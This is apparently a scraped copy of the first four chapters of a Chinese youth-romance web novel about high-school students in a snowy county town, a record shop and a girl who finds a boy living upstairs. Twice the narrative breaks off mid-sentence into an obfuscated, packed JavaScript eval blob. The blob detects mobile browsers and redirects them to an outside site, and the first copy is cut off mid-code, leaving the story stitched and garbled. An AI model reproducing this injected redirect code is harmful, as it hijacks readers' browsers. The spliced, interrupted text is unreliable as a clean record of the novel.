《乌合》 1. 唱片行 椰林县的冬天很冷。 从十二月初便开始持续不断的鹅毛大雪。 整个县城坠入雪幕,路边来往人群稀少,附近的学校也放学很早。 远远看过去学校门口只剩下两个并排的挑高身影,顶着雪在街道边走。 李屏东跟章鹏穿着黑皮夹克去了他说的那家唱片行,就在学校往南拐过了十字路口的一直往巷子里走最后一家,黑色的牌匾,写着“经典音像”四个字。 “欸,这儿来了个新老板,长得特漂亮。”章鹏冷的搓手,还不忘兴奋地说这个。 李屏东扫了她一眼,“合着你是来把妹的?” “靓妹谁不爱看啊。”章鹏嬉皮笑脸地说。 过了十字路,章鹏拉着李屏东加快脚步往那边走。 “陈昱人呢?下了课就不见人??” 李屏东低着头,一边被拖拽着,一边用着黑色小刘海手机给陈昱发着短信。 手机还是新买的,玩的还不太熟,打字老摁错。 “鱼哥,认呢?” 陈昱那边发来:“地址。” “在学校附近这个唱片行,我们去进点货,一会儿去录像厅放碟片。” 唱片行除了磁带机还有一些影碟卖。 “五分钟。” 章鹏也凑过来,瞧见这条消息,睁大眼睛。 “五分钟,他开摩滴过来啊?我们仨也坐不上啊?” 李屏东把他的冰手从自己热烘烘的口袋“挪”开,皮笑肉不笑:“车上不还有个绳子吗?” 章鹏揉着被拍得通红的手,破口大骂:“你滚!” 李屏东没来过这家唱片行,知道开了挺久,但平常进碟片这种事儿都是章鹏管,他的渠道多,一张小白脸很会跟老板讲价。 今天可能讲不下来,且他说的美女老板也不在,取而代之的是个正躺在竹木摇椅上小憩的女孩,齐刘海,过肩长发,戴着个透明框眼镜,身上裹着厚厚的毛毯跟暖水瓶,看上去特乖。 想见的人没见着,章鹏有点兴致缺缺了。 李屏东看着他蔫巴巴的样子,也跟着好奇了,这位老板到底什么天仙儿,让章鹏在这儿念念不忘的。 他捅了一下他胳膊,低声笑着说:“门口这位妹妹也挺靓啊。” 章鹏抬起眼皮扫了一眼,揣着口袋里被捏得皱巴巴的情书,有气无力地摇头:“得了,跟未成年似的。” “说的跟你他妈成年了似的。” “草,我喜欢姐姐不行啊?” 李屏东敷衍着:“行行行。” 还是个姐姐。 李屏东正想开口吭声,听到躺在摇椅上的女孩迷迷糊糊睁开了眼,把眼镜框摘下来揉了揉眼睛,把手里放着的那本漫画书拿开。 “我明年就成年了。” 声音含糊不清,带着些还没睡醒的惺忪感,她清了清嗓音,如同冰块碰撞的清脆声线,给她这张脸添加了挺多十七岁的青雉。 “你们要买什么吗?老板今天不在。” 说完,视线清晰,看到面前这俩人的脸,又愣怔了一下,视线下意识地就看向旁边。 章鹏也就揣着口袋站了过来:“你是她谁?” “朋友。”戈冬菱收回视线如实说。 “她叫什么名字啊?” 戈冬菱那双眼黑白分明,盯着他没吭声。 章鹏就想起口袋里还有几颗陈昱抽烟时喜欢吃的薄荷糖,递给戈冬菱。 戈冬菱看着手心里的糖,低着头慢吞吞地撕开糖纸,把糖果往嘴巴里塞,被薄荷的味道凉的一皱眉。 “尢雪梨。” “她哪个学校的?” 章鹏某次过来看到她前台桌子上放着一本语文教材书,写的密密麻麻的。 “职高的。”戈冬菱稍忖又说,“她学音乐的,不经常在学校。” 就一所职高,就跟林高挨着。 “哦。”章鹏继续给她糖收买诱哄着,一边问着,“她今儿怎么没来。” 戈冬菱嘴巴快要塞不下了,声音也更含糊不清:“姨妈痛。” 章鹏:“……” 妹妹你什么都说啊! “……哦。” 他盯着面前这妹妹看了好几眼,灵机一动,说:“我叫章鹏,文章的章,鹏程万里的鹏。” 话锋一转,把手里的所有糖都塞给她:“妹妹,帮我个忙。” 戈冬菱抬起头,迷茫地看着他:“什么忙?” “先加个联系——” “卧槽!谁他妈——” 话还没说完,章鹏被人握住了胳膊整个人直接往旁边掀开,踉跄地倒退了好几步,扶着旁边墙壁才站稳。 骂人的话还没说完,看到尢雪梨那张冷艳的脸,话被堵在了嗓子眼,他憋了一会,站稳,又忙不迭把手机往口袋里塞。 脑子里飞快运转着要说什么,求救的眼神看向门外那个狗东西。 不知道什么时候去买了烤红薯蹲在门口吃,眼睛直勾勾看乐。 别他妈让他看到他把妹。 “hi~” 章鹏趴在前台,眼睛放在尢雪梨身上,人今天穿了件单薄的绀色牛角扣大衣,褶子锋利的深蓝格裙跟黑色短靴,不嫌冷的露出一截白皙的小腿,衬得整个人都挺厌世冷。 她个高,模糊对比一下得有174,差四厘米就跟他一样高了。 尢雪梨看了一眼戈冬菱,碰了一下她手,凉的,把棉袄递给她:“穿着吧,冷,专门给你带的。” 戈冬菱哦了一声,乖乖低下头往身上套,眼睛就瞄着尢雪梨的校服裙看。 她站起身时,章鹏才注意到,这未成年妹妹也不矮,身高跟长相严重不符。 给完,尢雪梨才腾出时间看章鹏:“有事吗?林高的是吧,骚扰小姑娘?” 章鹏愣了一下,随后忙的摆手:“不不,不是,我是——” 戈冬菱掰着手里尢雪梨带来的糖炒栗子,抬头,很好心地帮结巴哥解释:“他想追你,要你手机号来着。” 难以启齿的话被这么直白说出来,章鹏又有点不好意思抬头看她了,轻咳了一声,想着大老爷们没啥好害羞的。 “对,想追你。” 尢雪梨跟没听着似的:“还要买什么吗?要关门了。” 章鹏就这么被赶了出来。 李屏东的烤红薯也刚好吃完,晚饭都省了。 也就章鹏满肚子的伤心,攥着手里的手机,侧着头往唱片行看,一脸不甘。 “不是,爷这姿色,这身段,也不差吧,我们学校还有人追过我呢。” 李屏东在旁边笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207446|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的合不拢嘴:“可能是时机不对,下次你等她生理期过了再要。” “我日你大爷。” 章鹏一边往外走,一边郁闷的要命:“就算拒绝人,也不该用攻击性那么强的眼神看我吧……” 他仰着一张脸,捋了把碎发,很是潇洒:“我长得很像渣男?” 李屏东摸摸下巴:“诱拐犯。” 章鹏懒得搭理他。 倒是电话里的陈昱一直没来。 一直到隔天章鹏才知道他跟几个职高的学生打架,警察都到了,差点把人家面馆给拆干净,让去警局做了个检讨才给走,没戴头盔摩托也给扣了。 戈冬菱咬着烤红薯一边低着头看书,旁边尢雪梨百无聊赖地坐在一旁,侧眸看着她,不做其他。 音乐停了一会儿,过了两三分钟,唱片行又继续唱着那首老板钟爱的《蜚蜚》。 戈冬菱一边翻着手下的书,人在出神,一个字没看进去。 “看什么呢?”尢雪梨整理完货架上的唱片,侧过头注意到她在出神。 “啊……没,没看什么。” “明天搬家要不要我去帮忙?” “不用,我都已经收拾好了。” “买了本新书,要看吗?” 戈冬菱:“什么书?” “《橘子不是唯一的水果》。”尢雪梨顿了一秒,平静说完,又注意着她的反应。 戈冬菱的手机响了一声,是她刚给同桌薛琪发的消息,问她昨天为什么没有来学校上课。 薛琪:【转校了,我叔叔安排了我去市中心国际高中上学,本来我们这一届都是最后一届了,无所谓。】 椰林高中这一届之后要倒闭了,听说椰林县这个破地方被政府规划要改造,新名儿还没起,反正是个临海度假区。 而椰林高中在上一年被查出是违规建立,也就当年政策管得不严,校长背后有人,其实私立学校的申请都没被批准下来。 之后这里的所有学生或许都要去市中心上学。 戈冬菱下敛的眼睑表露出一些丧:【好吧,那你要好好学习,没了我也别找别人作弊了。】 【阿菱啊,你觉得新班级好玩吗?】 戈冬菱:【好玩的。】 高二分班之后她认识了好多朋友。 【虽然知道你们关系挺好,但我还是提醒你】 剩下的半句话,伴随着尢雪梨站在不远处货架前的问话,带着轻微空旷回音:“还没问你,刚那小子到底跟你说什么?” 【小心尢雪梨。】 戈冬菱盯着后半句愣了一下,眼瞅着尢雪梨走过来,下意识地灭掉了手机,眼睛一眨不眨看着她说:“就要你手机号,什么都没说你就来了。” 尢雪梨嗯了一声,唱片行静悄悄的,她的手指卡在书的某一页停止,一边说:“下次不让你帮我看店了。” …… 后来戈冬菱一直在回忆自己的高中,像是一场梦,很长很长,梦里她醒不来。 甚至于她后来每次听到这首歌,就会想起坏掉的磁带机里的模糊歌声,想起尢雪梨,想起75厘米的冬天,想起夏季开花的苦楝树下。 想起和陈昱。 十七岁不常见。 她觉得自己的十七岁,是从章鹏追尢雪梨而开始的。 2. 老厂街 章鹏对尢雪梨的穷追不舍在第七天停止了,他在学校很少看见过尢雪梨,只有下了课在那家唱片行才能遇到她。 倒是经常看到未成年。 高二理科二班的,学习吊车尾,性格安静,朋友却不少。 每次下课都是跟一两个同班女孩打打闹闹。 她站在最边缘,高马尾顺着走姿擦过肩,揣着兜风的蓝白校服,不爱说话,也不爱笑。 问了隔壁兄弟才知道,学校艺术部的这周基本都不在学校,艺术部请了几个老师带他们去市里采风去了,归期不定。 而在那几天,理科楼也没再出现过陈昱的身影。 …… 二零零五年,椰林高中确定重建的第一年。 公开招标,项目实施落在当地企业外招的一个施工队头上,来之不易的机会,头顶资本家下达指令限三一五施工队在一年半内完成学校的建立,不影响次年九月新生入学。 可后来因为日夜兼程导致一人过度疲惫不慎从教学楼七楼一坠而下当场死亡,另一人舍身忘己为救好友同样坠落,抢救一天一夜不幸成为植物人。 施工队停工三个月,跑了不少工人,硬生生延迟到了次年冬季才正式开工。 同年冬,交通项目落实。 椰林县从头到尾就只有一辆三号公交车。 次年冬,三号路停站了。 乡村公交使用人少,县城跟城镇的路线被彻底切断。 也是容春英拿着抚慰金买了新的房子,带着戈冬菱在县城生活的第一年。 二零一五年。 椰林县公交路线全面开启。 那是近几年最大的一场雪,连续下了两周,学校仍旧通知正常开课。 全县通行车换椰林高校站那辆公交,专供所有林高的高校生。 与此同时增加了县城公交车数量,扩大范围,给大多数学生提供了更便利的通行方式,也有一部分同学需要提早十分钟到达符合线路站点。 戈冬菱就是那个人。 容春英换了个工作,在一家装修公司工作,地点在县南这一块,家里却住在县北,且林高也在县南,思来想去,决定搬到这边住。 家里积蓄不多,新开的装修公司因缺人给的工资是她之前的两倍,她便狠心放下老房子在附近老厂街旧楼租了一个二十平米的小房子,没厨房,两间隔板房,卫生间跟洗漱台以及淋浴都挤在一个五平米的角落。 戈冬菱一大早就起来收拾自己的东西,为了省钱,开了电动三轮车一趟一趟直到傍晚才把所有生活用品搬过去。 搬完,又下起了雪。 她穿着黑色棉袄站在二楼走廊,抵着生锈的蓝色铁围栏站在门口,透过窗户,容春英正在费劲拖地。 “妈,要不还是我来吧。” 容春英的语气不算太好,脸都没往门口看:“得了你,细胳膊细腿的。” 说完,拖把倚在旁边红木桌腿,擦了擦额头的汗,从棉袄口袋里掏出一张五块的,皱巴巴的。 “乖,过来,给你这钱,去买两份牛肉面。 戈冬菱忙不迭走过去,纸币带着冷湿感,攥在手心,说了个好,转过头就匆匆往外走。 “打伞啊你这孩子!” 戈冬菱便往楼下蹦跶着,声音穿荡在楼梯道:“不用了!下的不大。” 哪有下雪打伞的。 牛肉面就在旧楼出铁门的对面,附近皮革厂干活的人是这家店的主要客源。 戈冬菱的视线不由自主被门口大横着的中断门牌上看,可怜兮兮地被扔在角落,裂痕像是被人生掰断的。 推开缠着透明胶带的破旧玻璃门,迎来刺鼻的热辣气味,带着一股湿臭的闷熏感,啤酒的气味更是冲上头皮。 戈冬菱低着头走进去,点餐,买了面,站在旁边等。 耳畔是旁边几个工人在谈话,聊天内容无非关于家里孩子。 驼背中年男人姗姗来迟,往人堆里一坐,正想畅所欲言,屁股下面的木凳被压成四分五裂。 “卧槽!!!这他妈是要谋杀老子吗?”一根木棍直接插在了双腿.间,躲过一劫。 他揉着屁股一脸凶相,声音要震破天。 中年老板忙不迭走过来,收拾着凳子一连鞠了好几个躬。 “不好意思不好意思,昨天有人打架,估计把这凳子的螺丝钉给砸掉了,没注意。” 男人扯着嗓子,满脸不屑:“又是那群高中生?要我说这县城高中早他妈改废了,学什么学,出来还不是要打工。” 老板沉了口气,说给他免单。 又说:“不是,昨天有个职高的男生调戏小姑娘,另一个男生看见了,就打了一架,算做好事。” 还落了一个黑绳平安扣吊坠,上面刻着字母,是那个黑发少年的名字缩写。 他脑子里想到什么,沉了口气不是滋味,又问:“对不住了哈,你这屁股,还能用吧。” 大哥暴跳如雷:“我他爹的还能当场给你拉一下怎么?” “得,别气,这瓶酒当赔罪的了。” …… “现在的小孩可真行啊,在学校都被惯坏了,要是我当年能上学,祖坟冒青烟。” “等明年学校拆了,我准备让我女儿直接去大城市打工,说不准还能钓个金龟婿回来。”啤酒肚男人一边喝着酒,一边笑着附和。 旁边戴着眼镜框的男人听言想说些什么,欲言又止地看着男人,最终闷头干饭了。 大哥坐在凳子上,语气里的嘲弄不掩:“你可小心点吧,我前两天还看到旁边那个学校是什么,技校是吧?后墙那边几个高个的小姑娘领着几个抽烟的混子欺负一女孩呢,打的人耳朵都流血了。” “技校有什么可上的。” 他说完,旁边几个男人也跟着笑。 他们的声音在耳畔是时隐时现的。 戈冬菱一直在出神,老板叫了两次她才抬起头。 “要香菜不要?” 戈冬菱忙不迭开口:“一份要一份不要,都多放点辣椒,谢谢叔叔。” 老板打包时又细细扫了她两眼,试探问:“你叫什么名字啊?怎么之前没见你来过?” 他们这店几十年了,来的都是老主顾,他记性不错,只要是来过面馆的,都能记住面孔。 “我叫戈冬菱,新搬来的,就在后面的旧楼区住。” 戈冬菱又不吝说:“你应该认识我妈,容春英。” 老板瞬间绽开笑颜:“哦,英姐啊,那你岂不是那个——” 脱口而出之后,声音又顿然卡住了,只是看着她一时之间不知道怎么转移话题。 “那个……那个那个……” 戈冬菱看着他满脸哑口无言又笨拙转移话题而不得终的样子,于是主动说:“对。” 老板笑了笑,松了口气说:“好,以后常来啊,下次叔给你优惠价。” 戈冬菱展露出浅笑:“谢谢叔。” “哎等等,你是林高的吗?” 戈冬菱身上还穿着林高的校服。 她点了点头:“嗯。” “你帮叔个忙,把这个黑绳给你们学校一个叫陈昱的男生送去,长得挺周正的,他就在高三七班,好几天了,我这根本找不到他人,估计他都不知道丢在这儿了,刚好你去学校的时候帮我给他。” “你帮我给他班主任就行,我这店里来来往往的,再放几天我都害怕弄丢。” 戈冬菱盯着他手里的那根黑绳,视线静止了好几秒,还是走过去接住了。 “好。” 松了一口气,老板绽开笑颜说: “麻烦你了,下次叔给你便宜啊。” …… 戈冬菱单手拎着面,一路上手指都紧紧攥着那根黑绳平安扣,手指摩挲着上面的陷进去的字母——CY。 平安扣好像是和田玉做的,玉制漂亮到绝无仅有,应该是他爸妈在他出生时就给他准备的。从戈冬菱第一次见到陈昱,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戈冬菱脑袋压低,大口吃面条。 晚上容春英还要上班,她要到凌晨才下班,落下一句“把面吃完”就走了。 戈冬菱坐在客厅,偏头,目光蓦地对上那张孙良的黑白照,心脏骤停了一秒。 整个室内的空气开始收缩,她呼吸不过来,转过头从客厅跑了出去,倚靠在那个破旧围栏上,眼睛盯着围栏,手指敲了两下。 怀疑这破旧程度会不会直接断裂翻下去。 筒子楼的建构奇怪又诡异,二楼的一整个长廊都突兀出来一截,听闻是当时化设计图的设计师算错了尺寸跑路了,建了一半后面全程在补救。 也因为容易积水,她们住的这间房租比楼上便宜大几十。 戈冬菱仰着脖颈,后脑勺抵着冰凉的铁栏杆发呆,目光里倏然出现了一道熟悉的身影,惊扰了她的视线。 削瘦,长立着,修长的指骨夹着一根烟,手肘同样搁在铁围栏上,烧得太快,风一吹,烟蒂顺着熏雪从三楼往下飘。 一些灰白寡淡的雪落在眼皮处,像烟蒂一般滚烫又冰凉。 她眨了眨眼,保持着仰头往上看的姿势,任由那些雪洋洋洒洒落在鼻梁、脸颊处,把整张脸冻得没知觉。 少年倏然回了下头。 他的手指保持着原来的姿势,只是侧眸往下扫了一眼,或许是察觉到了手指的位置,迅速收回了烟。 他眉眼疏冷,睨着下面,轻飘飘的一眼,又没什么兴致地转过头。 连对视都没有。 戈冬菱低下头,把脸上的雪拨下来,脸上还残留些着冰凉的斑迹。 她抓着坠了雪的长发,脑子里又想着陈昱那张脸。 戈冬菱没想到她的新家,在他楼下。 此时,她看他还是需要仰头的。 3. 夜班车 戈冬菱也就周末那两天帮身体不舒服尢雪梨看店,之后尢雪梨跟着老师去采风,唱片行索性先关了,原本在这种小县城,唱片行的生意也不是特别好。 那个唱片行也不是她的,一个准备出门创业的叔叔想要盘出去却没人要,尢雪梨说能不能卖给她。 老板难得看到谁还这么喜欢这些老唱片,索性留下了,把钥匙也给了她。 周一早上八点,正常上课。 还是容春英开着那辆三蹦子送她去的学校门口,没下雪,冰冷的太阳光刺眼,雪化得人要冷掉。 她背着书包下车,厚厚的围巾盖住了嘴唇,从鼻腔里呼出的热气在镜片上蒙了一层白雾。 走到门卫那回头,摘掉眼镜回头看到头顶着蓝色纱巾的容春英正站在身后默默看着她,注意到她的动作,挥了挥手,高声喊着“好好学习好好上课,快点进去!”。 戈冬菱连忙伴着预备铃声走进了学校。 过几天要期末考试,她书包里装满了笨重的复习书,压得她肩膀疼。 徐俐背着书包狂奔过来,拍了一下她的肩,戈冬菱甚至能感觉到骨折,没忍住往前倾咳了两声。 “痛。”她小声说。 徐俐就笑嘻嘻给她揉了揉:“喂,怎么还来这么晚,不是搬家了吗?” “你怎么知道我搬家了?”戈冬菱有些意外,睁大眼睛。 “昨天看到你了呗,不过我本来是想找……那个谁的,正好看到你搬家,你妈在旁边我就没过去。” 戈冬菱知道她说的是谁,又问:“你找他干什么?” 这么大胆。 徐俐瞬间垮下来,低声说:“他奶奶去世了,好像就前两天,昨天火化了,那以后他是不是就自己生活了啊,好几天都没来上课了……” 徐俐是理科一班的,戈冬菱理二,教室却一个在靠走廊一个在最尽头。 她跟徐俐高一是一个班的,还是同桌,后来分班,徐俐也经常叫她一起去吃饭。 “你为什么不找别人上厕所?”戈冬菱当时被她死死抱着胳膊不解。 “喜欢你啊,你最近都不跟我好了。” “哪有。” “你跟那个尢雪梨怎么认识的嘛。” “……没有啦。”戈冬菱才看着自己没背完的单词妥协,“你下次找我我都跟你去好了吧。” …… 戈冬菱就没吭声,徐俐扯了扯她的衣袖,“你说,他会不会不来学校了。” “为什么?” “他又不爱学习。” 戈冬菱表情一呆:“不爱学习就可以不来学校吗?” 徐俐哈哈大笑,笑弯了腰。 蹦跶上最后一阶台阶,朝她挥手:“下课见!” 戈冬菱沉了口气。 一整天,上了一整天的课。 戈冬菱坐在中排靠窗位置写了好几张卷子。 最后一节课是数学,老师给发了一张数学卷子做,说是做个小测验,卷子上只有四道有关三角函数的大题。 她慢慢趴在桌子上,眼皮有些重,哈欠卡在嗓子眼,眼睛先湿润了,还没趴稳当,就被身后神不知鬼不觉走过来的数学老师敲了下手臂。 鲤鱼打挺似坐起身回头看,低下头,慢吞吞站起身。 “不会写吗?”数学老师的声音很低,会让人觉得很温柔,可语气却总是严肃的,给人一种棉里带刀的感觉。 戈冬菱缩着脖子站着没吭声。 数学老师绵密的声音又在耳畔响起:“我看到你高一的时候数学还不错的,为什么现在下滑这么多?” “学不会了。” 数学老师一时没吭声,又轻声说:“坐下吧。” 随后声音抬高看着全班的人,“第一道大题关于函数,就那两道小题,求一个未知数,这种题型都已经刷烂了,如果不会就多做几道,要么就是给你假设一个公式,让你求另一个未知数……现在有没有哪位同学已经做完了?第一小题的答案有谁来回答一下。” 她的声音不轻不重落在耳朵里,戈冬菱盯着题目,张了张唇没有声音。 林高的下课时间因下雪改短,往常都是六点下课,最近改成了五点半。 此时的天色已经开始昏暗了。 今天她值日,出来校门比较晚,校门口已经没了人。 椰林只有一辆夜班车。 时间在最后一节下课,六点准时出发,两个小时途径十七个站台。 上车的人并不多,大多数不住宿的同学都有爸妈接。 她抱着反背着的书包坐在了最后一排靠窗,位置很高,能够整个俯瞰所有人。 低着头拉开书包拉链,从里面拿出一个带着撕拉声音的随身听,随机播放了一首歌。 又歪着头看着窗外发呆,此时那个没打出来的哈欠才后知后觉冒出来。 又开始下雪了。 经年失修的路灯忽明忽暗,偶尔照清楚天空中仍在飘落的雪花,落在地面没有声音。 窗外乌黑又静。 夜班车会在学校门前的站台停靠十分钟。 她上来之后只有零星几个同年级学生上来,最后往透明投币箱里投币的是身穿灰色卫衣黑色棉袄的少年。 头发有些长,几乎盖住了眼睛,显得整个人都有些冷漠孤僻。 那条宽松到顺着走姿都能摇摆的宽松牛仔裤被洗到泛白,可对方挑高的身形跟害浑身散发出的不好惹的气质,尤其是刀削般的下颌线跟那双单眼皮漆黑如鹰般的眼眸,还是会让人觉得他有些过分锐利疏远。 不是说没来学校么。 戈冬菱忽然想起什么,翻了翻书包,没找到那条黑绳,她落家了。 抿了抿唇,指尖扣着书包肩带处冰凉的日型扣,低下头,也没太敢看他了。 倒是旁边两个女孩,眼神有意无意撇过人。 青春期的大多数女孩,都是格外腼腆的,更别说在这样的小县城,所有的喜欢、爱恋、好感都夹杂着一种含羞的朦胧感。 巴士内很安静,临到车开,走上来一个打扮得体的女人,手里提着一个白色袋子,袋子是商场衣服大促销时的透明手提袋,此时,里面被她装了一些超市在关门前为清空库存而降价卖掉的打蔫的大白菜。 她拿着手机,嗓门很大,整个巴士上都是她跟对面批发老板砍价的市侩对话。 “现在上面都改了,说是几十米内只能开一家卖烟酒的,我们家就在学校后胡同附近……” 戈冬菱因为陈昱的出现,精神了些。 把书包微微抬高,撑着下巴发呆,手指有一搭没一搭摸着口袋里的平安扣。 他在第三排,跟她隔了好远。 最后一个女孩上来时巴士的玻璃门已经合 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戈冬菱移开目光,把耳机声音调大,合上眼,梦里好像一直在唱那首“暗恋一点都不痛苦,痛苦的是,你根本没看我。”。 半梦半醒,迷迷糊糊点着头犯困。 不知道什么时候,女人结束了通话,她才真真正正抱着书包沉睡过去。 巴士司机就住在终点站附近,巴士车开到终点站,停靠在大巴棚里,他下了车熄了火才发现后排才坐了一个女孩。 实在是车内有些暗,巴士刚转线他一天下来真的很累,戈冬菱又是抱着书包蜷缩着的姿态,很难被人注意到。 大叔走过去拍了拍她的胳膊。 戈冬菱睁开眼,仰着头满眼惺忪之色。 “小同学,已经终点站了,你该下车了吧。” 戈冬菱有些愣,下一秒又开始慌,她没有手机也没有钱,电话亭都用不了。 “终点站是哪里?”她的声音沙哑,抬得有些破音。 “太阳巷。” 戈冬菱一瞬间有些绝望,但也不敢耽误满脸疲惫的司机回家,忙不迭抱着书包下了车,等走出巴士总站,才有些茫然无措地看着面前黑咕隆咚的街道。 这里仍旧是县北,即便她之前也在县北住过,但也对这边的路线一窍不通。 她记得这个地方,在太阳巷可以看到早上太阳升起时最漂亮的海。 也因为如此优越的地理环境,椰林县的度假村项目势在必行。 她也知道,这里跟自己的新家距离很远。 她又返回去试图寻找司机,想借用他的手机给容春英打电话。人早就不见了。 想到什么,又抱紧书包疯狂往外跑,落下一溜长脚印。 皮筋因用的过久,延展性失效,没绷紧顺风掉落在地,高马尾散开,长发扑在干涩俏皮带着唇纹的嘴唇上。 雪扑簌簌下着,她站在路的尽头气喘吁吁,鼻腔疼。远处这条街唯一一盏亮着的路灯下站着一个黑衣少年。 光仿佛唯独打在他身上,他弓着肩,被冻到长疮流血的手曲着,拢着火,用指腹一下又一下地摩擦着液体打火机的滚轮,发出“嚓嚓”声响,可却一直都没点燃。 戈冬菱就站在原地看。 冰凉的雪花扑在眼睫上,清亮的黑眸闪动几下。 4. 北角天台 “喂,看什么呢。” 耳熟的女声带着清冷的声线在背后响起。 戈冬菱回过头,空旷的街道上站着穿着一件制服的尢雪梨,才倏然想起尢雪梨也是住在这里的。 “你怎么在这儿,你什么时候回来的?” 说话的同时余光下意识往远处瞟了一眼,远处的路灯下,只剩下很深的脚印被雪花缓慢覆盖。 “早回来了好吗,你没看到我朋友圈。” 尢雪梨没注意到戈冬菱的失神,只是指了指远处的酒吧:“在这儿打工,跟我妈吵架,准备定个宾馆住。” 她又问:“你不搬家了么?” “哦……我,坐过站了。” 戈冬菱皱眉忍不住开口:“你别总跟阿姨吵架。” 尢雪梨明显懒得解释,低下头从口袋里掏手机:“没车了,送你回去。” 戈冬菱下意识回绝:“不用,我在附近睡一晚也行,你不是要订房间吗?给我也订一间。” 尢雪梨笑了声:“这种宾馆乱的很,你住不了。” 戈冬菱抿着唇,过两秒忍不住说:“我妈今天下早班,现在估计在家。” 她家的位置在靠门口二楼,可以看到旧楼大门外。 尢雪梨后知后觉才反应过来她是什么意思。 语调平静问了句:“怕她看到是我送你回去吗?” 容春英不喜欢她,就算是戈冬菱没明确说,尢雪梨也知道。 或许是高一那年,在尢雪梨频繁出现在戈冬菱身边时,戈冬菱的成绩开始一落千丈,所以容春英一直都对她这种职高的混子学生没什么好感,觉得是她带坏了戈冬菱。 更别说她这一排耳钉,更是触了容春英的逆鳞。 戈冬菱就很单调,除了手腕上的一个红绳铜钱,容春英专门去市里寺庙求来辟邪报平安的,之外她项链都不戴。 尢雪梨忽然想起上一年除夕那天,她跟她妈王繁花吵架,又听到戈冬菱说家里今天准备包饺子所以不能出来陪她。 尢雪梨第一次没克制住鬼使神差地问:“我能去吗?我还没吃过亲手包的饺子。” 其实也吃过,王繁花就是在餐馆做饭的阿姨,她就是想去才故意这样说。 之后顺理成章听到戈冬菱说可以啊。 第一次去朋友家,尢雪梨换了一身新衣服,摘掉了那些长而夸张的耳钉跟唇环,甚至于最喜欢的项链都没戴,学着戈冬菱平常的打扮穿的很安分。 吃完从她家出来,下了楼又想起自己的围巾落在了沙发上,转头去拿,站在她家门口听到了容春英义正言辞地说“少跟这些不三不四的朋友交往,看你的成绩都掉成什么样了?”。 唇环在几分钟愈合,她改打成舌钉。 也再没有去过她家。 “放心,不是我送,找人送你回去。”尢雪梨低着头,掏出手机打电话。 风呼啸而过,雪开始下的更大了。 尢雪梨说话声音低又轻,站在她面前戈冬菱也听不出来对面的声音。 只能隐约识别出来是个男生,声音带着一股吊儿郎当的不吝感,让人觉得很荡漾且混。 俩人在附近便利店买了几串关东煮,吃着等人。 没吃完,男生开着摩的就来了。 戈冬菱认出来了这个人,前两天在唱片行遇到要尢雪梨微信的那个。 章鹏扫了一眼戈冬菱,倚着摩托车,眼睛又绕到尢雪梨身上,直勾勾的。 “送回去我有什么奖励啊?”语调吊儿郎当没正行。 戈冬菱没忍住皱了皱眉。 她不清楚跟尢雪梨玩到一起的男生都是这个性格,还是什么,总觉得这语调带着些过分的窥视跟逼近,像是要把人扒光。 尢雪梨注意到了戈冬菱的神情,嘴角咧开说:“跟你处行么。” 反倒是章鹏愣了一下,嘴角咧开点头,又扬眉:“来个证明,明个你不认怎么办。” 尢雪梨轻飘飘的一句,语调里带着轻而易举的冷情:“妹妹在呢。” 章鹏就笑嘻嘻的:“成,骗我弄死你。” 说完把大了一号的头盔递给了戈冬菱,语气散漫说:“上车。” 戈冬菱看了一眼尢雪梨,最终还是坐上车了。 她有些别扭,手指抓着摩托车的两侧,中间也跟男生隔出明显的缝隙。 摩托车启动,戈冬菱低着头一句话都没说。 他开的不快,差不多半个小时才到老厂街,即将下车,戈冬菱才忍不住忙的问了一句:“你加到微信了吗?” 章鹏停下车,回头扫了她一眼:“早加到了,她没跟你说啊?” 尢雪梨刚回来那天他就碰上了。 说完,章鹏又顿住。尢雪梨看着就不跟其他女孩一样会跟姐妹分享的人,况且她估计也没把他当回事。 “她去打工的那家酒吧我跟朋友经常去。” 朋友。 陈昱。 戈冬菱哦了一声。 章鹏看着戈冬菱那张脸,笑了声:“想去吗?改天带你去玩?” 戈冬菱摇了摇头:“我妈不让。” 她家有门禁。 章鹏嗤笑了声,不带嘲笑,就是不明白尢雪梨怎么跟这样的女孩玩到一起的。 “下车,安全送到了啊,给尢雪梨发条微信。” 他又补充:“记得多夸我几句。” “夸什么?” “开的慢啊,坐得……” 爽啊什么的。 后半句没说出口,碰上戈冬菱那双眼,嘴立马打住了。 “车速很稳什么的。”他摸了摸鼻尖说。 “好。”戈冬菱点了点头,表示记住了。 “拜拜,回去注意安全。” 章鹏讪讪地哦了一声。 等人走了,又骂了一句。 他是真不知道怎么跟这样的女孩说话。 ** 戈冬菱还没走上楼,就瞧见二楼走廊站着的容春英正在往楼下看,对上视线,才转过身回了房间。 戈冬菱抱着书包上了楼,刚进房间,听到容春英叫她。 “把姜汤喝了驱寒,厨房给你做的蛋炒饭吃了。” 又问:“谁送你回来的?追你那个?” 戈冬菱摇了摇头:“不是,坐过车了,班上同学。” 容春英没多问,往房间走,声音很是疲惫:“吃完把碗洗了,我去睡了。” 戈冬菱说好。 她坐在客厅沙发上,低着头一口一口吃着温热的蛋炒饭,墙壁昏黄的灯光照出一圈光晕,她盯着扫了几眼。 又把炒饭扒拉了两口,没吃完准备作为明早的早饭吃。 抱着书包回了房间写作业。 房间很小,除了一张床跟一个小衣柜之外,只有一个很小的木桌子,还是学校翻修时不要的废弃木桌,此时作为她的书桌被摆满。 书桌下面的纸箱中也叠堆满了学习资料,最上面是一本很厚的《C程序设计》,打开书的第一页还能看到容春英的名字,字迹刚劲有力、秀丽端庄。 即便她学习不好,容春英搬家也没忘了把家里的所有书给搬回来。 写了会儿作业,戈冬菱把桌面上的电脑打开。 